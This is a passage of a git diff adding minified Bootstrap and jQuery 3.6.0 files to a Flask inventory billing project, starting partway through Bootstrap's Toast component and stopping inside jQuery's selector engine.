t&&t?t:{}},c("toast",t,this.constructor.DefaultType),t}_maybeScheduleHide(){this._config.autohide&&(this._hasMouseInteraction||this._hasKeyboardInteraction||(this._timeout=setTimeout(()=>{this.hide()},this._config.delay)))}_onInteraction(t,e){switch(t.type){case"mouseover":case"mouseout":this._hasMouseInteraction=e;break;case"focusin":case"focusout":this._hasKeyboardInteraction=e}if(e)return void this._clearTimeout();const i=t.relatedTarget;this._element===i||this._element.contains(i)||this._maybeScheduleHide()}_setListeners(){H.on(this._element,"mouseover.bs.toast",t=>this._onInteraction(t,!0)),H.on(this._element,"mouseout.bs.toast",t=>this._onInteraction(t,!1)),H.on(this._element,"focusin.bs.toast",t=>this._onInteraction(t,!0)),H.on(this._element,"focusout.bs.toast",t=>this._onInteraction(t,!1))}_clearTimeout(){clearTimeout(this._timeout),this._timeout=null}static jQueryInterface(t){return this.each((function(){const e=Qt.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t](this)}}))}}return F(Qt),b(Qt),{Alert:W,Button:$,Carousel:et,Collapse:nt,Dropdown:pt,Modal:Tt,Offcanvas:Lt,Popover:Wt,ScrollSpy:Kt,Tab:Vt,Toast:Qt,Tooltip:Bt}})); +//# sourceMappingURL=bootstrap.min.js.map \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/js/jquery-3.6.0.min.js b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/js/jquery-3.6.0.min.js new file mode 100644 index 00000000..c4c6022f --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/js/jquery-3.6.0.min.js @@ -0,0 +1,2 @@ +/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */ +!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.6.0",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0<t&&t-1 in e)}S.fn=S.prototype={jquery:f,constructor:S,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||m(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(S.isPlainObject(r)||(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i||S.isPlainObject(n)?n:{},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==o.call(e))&&(!(t=r(e))||"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t||[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:y}),"function"==typeof Symbol&&(S.fn[Symbol.iterator]=t[Symbol.iterator]),S.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,v,s,c,y,S="sizzle"+1*new Date,p=n.document,k=0,r=0,m=ue(),x=ue(),A=ue(),N=ue(),j=function(e,t){return e===t&&(l=!0),0},D={}.hasOwnProperty,t=[],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",I="(?:\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+",W="\\["+M+"*("+I+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+I+"))|)"+M+"*\\]",F=":("+I+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+W+")*)|.*)\\)|)",B=new RegExp(M+"+","g"),$=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),_=new RegExp("^"+M+"*,"+M+"*"),z=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp(F),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+F),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&y(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+" "]&&(!v||!v.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ye(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace($,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ve(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement("div")),"undefined"!=typeof e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length}),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=S,!C.getElementsByName||!C.getElementsByName(S).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML="<a id='"+S+"'></a><select id='"+S+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+S+"-]").length||v.push("~="),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||v.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")"),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+S+"+*").length||v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",F)}),v=v.length&&new RegExp(v.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),y=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},j=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&y(p,e)?-1:t==C||t.ownerDocument==p&&y(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&E&&!N[t+" "]&&(!s||!s.test(t))&&(!v||!v.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0<se(t,C,null,[e]).length},se.contains=function(e,t){return(e.ownerDocument||e)!=C&&T(e),y(e,t)},se.attr=function(e,t){(e.ownerDocument||e)!=C&&T(e);var n=b.attrHandle[t.toLowerCase()],r=n&&D.call(b.attrHandle,t.toLowerCase())?n(e,t,!E):void 0;return void 0!==r?r:d.attributes||!E?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},se.escape=function(e){return(e+"").replace(re,ie)},se.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},se.uniqueSort=function(e){var t,n=[],r=0,i=0;if(l=!d.detectDuplicates,u=!d.sortStable&&e.slice(0),e.sort(j),l){while(t=e[i++])t===e[i]&&(r=n.push(i));while(r--)e.splice(n[r],1)}return u=null,e},o=se.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=o(e)}else if(3===i||4===i)return e.nodeValue}else while(t=e[r++])n+=o(t);return n},(b=se.selectors={cacheLength:50,createPseudo:le,match:G,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&m(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1<t.indexOf(i):"$="===r?i&&t.slice(-i.length)===i:"~="===r?-1<(" "+t.replace(B," ")+" ").indexOf(i):"|="===r&&(t===i||t.slice(0,i.length+1)===i+"-"))}},CHILD:function(h,e,t,g,v){var y="nth"!==h.slice(0,3),m="last"!==h.slice(-4),x="of-type"===e;return 1===g&&0===v?function(e){return!!e.parentNode}:function(e,t,n){var r,i,o,a,s,u,l=y!==m?"nextSibling":"previousSibling",c=e.parentNode,f=x&&e.nodeName.toLowerCase(),p=!n&&!x,d=!1;if(c){if(y){while(l){a=e;while(a=a[l])if(x?a.nodeName.toLowerCase()===f:1===a.nodeType)return!1;u=l="only"===h&&!u&&"nextSibling"}return!0}if(u=[m?c.firstChild:c.lastChild],m&&p){d=(s=(r=(i=(o=(a=c)[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===k&&r[1])&&r[2],a=s&&c.childNodes[s];while(a=++s&&a&&a[l]||(d=s=0)||u.pop())if(1===a.nodeType&&++d&&a===e){i[h]=[k,s,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]||(d=s=0)||u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]=[k,d]),a===e))break;return(d-=v)===g||d%g==0&&0<=d/g}}},PSEUDO:function(e,o){var t,a=b.pseudos[e]||b.setFilters[e.toLowerCase()]||se.error("unsupported pseudo: "+e);return a[S]?a(o):1<a.length?(t=[e,e,"",o],b.setFilters.hasOwnProperty(e.toLowerCase())?le(function(e,t){var n,r=a(e,o),i=r.length;while(i--)e[n=P(e,r[i])]=!(t[n]=r[i])}):function(e){return a(e,0,t)}):a}},pseudos:{not:le(function(e){var r=[],i=[],s=f(e.replace($,"$1"));return s[S]?le(function(e,t,n,r){var i,o=s(e,null,r,[]),a=e.length;while(a--)(i=o[a])&&(e[a]=!(t[a]=i))}):function(e,t,n){return r[0]=e,s(r,null,n,i),r[0]=null,!i.pop()}}),has:le(function(t){return function(e){return 0<se(t,e).length}}),contains:le(function(t){return t=t.replace(te,ne),function(e){return-1<(e.textContent||o(e)).indexOf(t)}}),lang:le(function(n){return V.test(n||"")||se.error("unsupported lang: "+n),n=n.replace(te,ne).toLowerCase(),function(e){var t;do{if(t=E?e.lang:e.getAttribute("xml:lang")||e.getAttribute("lang"))return(t=t.toLowerCase())===n||0===t.indexOf(n+"-")}while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var t=n.location&&n.location.hash;return t&&t.slice(1)===e.id},root:function(e){return e===a},focus:function(e){return e===C.activeElement&&(!C.hasFocus||C.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:ge(!1),disabled:ge(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!b.pseudos.empty(e)},header:function(e){return J.test(e.nodeName)},input:function(e){return Q.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:ve(function(){return[0]}),last:ve(function(e,t){return[t-1]}),eq:ve(function(e,t,n){return[n<0?n+t:n]}),even:ve(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:ve(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:ve(function(e,t,n){for(var r=n<0?n+t:t<n?t:n;0<=--r;)e.push(r);return e}),gt:ve(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=b.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})b.pseudos[e]=de(e);for(e in{submit:!0,reset:!0})b.pseudos[e]=he(e);function me(){}function xe(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function be(s,e,t){var u=e.dir,l=e.next,c=l||u,f=t&&"parentNode"===c,p=r++;return e.first?function(e,t,n){while(e=e[u])if(1===e.nodeType||f)return s(e,t,n);return!1}:function(e,t,n){var r,i,o,a=[k,p];if(n){while(e=e[u])if((1===e.nodeType||f)&&s(e,t,n))return!0}else while(e=e[u])if(1===e.nodeType||f)if(i=(o=e[S]||(e[S]={}))[e.uniqueID]||(o[e.uniqueID]={}),l&&l===e.nodeName.toLowerCase())e=e[u]||e;else{if((r=i[c])&&r[0]===k&&r[1]===p)return a[2]=r[2];if((i[c]=a)[2]=s(e,t,n))return!0}return!1}}function we(i){return 1<i.length?function(e,t,n){var r=i.length;while(r--)if(!i[r](e,t,n))return!1;return!0}:i[0]}function Te(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function Ce(d,h,g,v,y,e){return v&&!v[S]&&(v=Ce(v)),y&&!y[S]&&(y=Ce(y,e)),le(function(e,t,n,r){var i,o,a,s=[],u=[],l=t.length,c=e||function(e,t,n){for(var r=0,i=t.length;r<i;r++)se(e,t[r],n);return n}(h||"*",n.nodeType?[n]:n,[]),f=!d||!e&&h?c:Te(c,s,d,n,r),p=g?y||(e?d:l||v)?[]:t:f;if(g&&g(f,p,n,r),v){i=Te(p,u),v(i,[],n,r),o=i.length;while(o--)(a=i[o])&&(p[u[o]]=!(f[u[o]]=a))}if(e){if(y||d){if(y){i=[],o=p.length;while(o--)(a=p[o])&&i.push(f[o]=a);y(null,p=[],i,r)}o=p.length;while(o--)(a=p[o])&&-1<(i=y?P(e,a):s[o])&&(e[i]=!(t[i]=a))}}else p=Te(p===t?p.splice(l,p.length):p),y?y(null,t,p,r):H.apply(t,p)})}function Ee(e){for(var i,t,n,r=e.length,o=b.relative[e[0].type],a=o||b.relative[" "],s=o?1:0,u=be(function(e){return e===i},a,!0),l=be(function(e){return-1<P(i,e)},a,!0),c=[function(e,t,n){var r=!o&&(n||t!==w)||((i=t).nodeType?u(e,t,n):l(e,t,n));return i=null,r}];s<r;s++)if(t=b.relative[e[s].type])c=[be(we(c),t)];else{if((t=b.filter[e[s].type].apply(null,e[s].matches))[S]){for(n=++s;n<r;n++)if(b.relative[e[n].type])break;return Ce(1<s&&we(c),1<s&&xe(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace($,"$1"),t,s<n&&Ee(e.slice(s,n)),n<r&&Ee(e=e.slice(n)),n<r&&xe(e))}c.push(t)}return we(c)}return me.prototype=b.filters=b.pseudos,b.setFilters=new me,h=se.tokenize=function(e,t){var n,r,i,o,a,s,u,l=x[e+" "];if(l)return t?0:l.slice(0);a=e,s=[],u=b.preFilter;while(a){for(o in n&&!(r=_.exec(a))||(r&&(a=a.slice(r[0].length)||a),s.push(i=[])),n=!1,(r=z.exec(a))&&(n=r.shift(),i.push({value:n,type:r[0].replace($," ")}),a=a.slice(n.length)),b.filter)!(r=G[o].exec(a))||u[o]&&!(r=u[o](r))||(n=r.shift(),i.push({value:n,type:o,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?se.error(e):x(e,s).slice(0)},f=se.compile=function(e,t){var n,v,y,m,x,r,i=[],o=[],a=A[e+" "];if(!a){t||(t=h(e)),n=t.length;while(n--)(a=Ee(t[n]))[S]?i.push(a):o.push(a);(a=A(e,(v=o,m=0<(y=i).length,x=0<v.length,r=function(e,t,n,r,i){var o,a,s,u=0,l="0",c=e&&[],f=[],p=w,d=e||x&&b.find.TAG("*",i),h=k+=null==p?1:Math.random()||.1,g=d.length;for(i&&(w=t==C||t||i);l!==g&&null!=(o=d[l]);l++){if(x&&o){a=0,t||o.ownerDocument==C||(T(o),n=!E);while(s=v[a++])if(s(o,t||C,n)){r.push(o);break}i&&(k=h)}m&&((o=!s&&o)&&u--,e&&c.push(o))}if(u+=l,m&&l!==u){a=0;while(s=y[a++])s(c,f,t,n);if(e){if(0<u)while(l--)c[l]||f[l]||(f[l]=q.call(r));f=Te(f)}H.apply(r,f),i&&!e&&0<f.length&&1<u+y.length&&se.uniqueSort(r)}return i&&(k=h,w=p),c},m?le(r):r))).selector=e}return a},g=se.select=function(e,t,n,r){var i,o,a,s,u,l="function"==typeof e&&e,c=!r&&h(e=l.selector||e);if(n=n||[],1===c.length){if(2<(o=c[0]=c[0].slice(0)).length&&"ID"===(a=o[0]).type&&9===t.nodeType&&E&&b.relative[o[1].type]){if(!(t=(b.find.ID(a.matches[0].replace(te,ne),t)||[])[0]))return n;l&&(t=t.parentNode),e=e.slice(o.shift().value.length)}i=G.needsContext.test(e)?0:o.length;while(i--){if(a=o[i],b.relative[s=a.type])break;if((u=b.find[s])&&(r=u(a.matches[0].replace(te,ne),ee.test(o[0].type)&&ye(t.parentNode)||t))){if(o.splice(i,1),!(e=r.length&&xe(o)))return H.apply(n,r),n;break}}}return(l||f(e,c))(r,t,!E,n,!t||ee.test(e)&&ye(t.parentNode)||t),n},d.sortStable=S.split("").sort(j).join("")===S,d.detectDuplicates=!!l,T(),d.sortDetached=ce(function(e){return 1&e.compareDocumentPosition(C.createElement("fieldset"))}),ce(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||fe("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),d.attributes&&ce(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||fe("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ce(function(e){return null==e.getAttribute("disabled")})||fe(R,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),se}(C);S.find=d,S.expr=d.selectors,S.expr[":"]=S.expr.pseudos,S.uniqueSort=S.unique=d.uniqueSort,S.text=d.getText,S.isXMLDoc=d.isXML,S.contains=d.contains,S.escapeSelector=d.escape;var h=function(e,t,n){var r=[],i=void 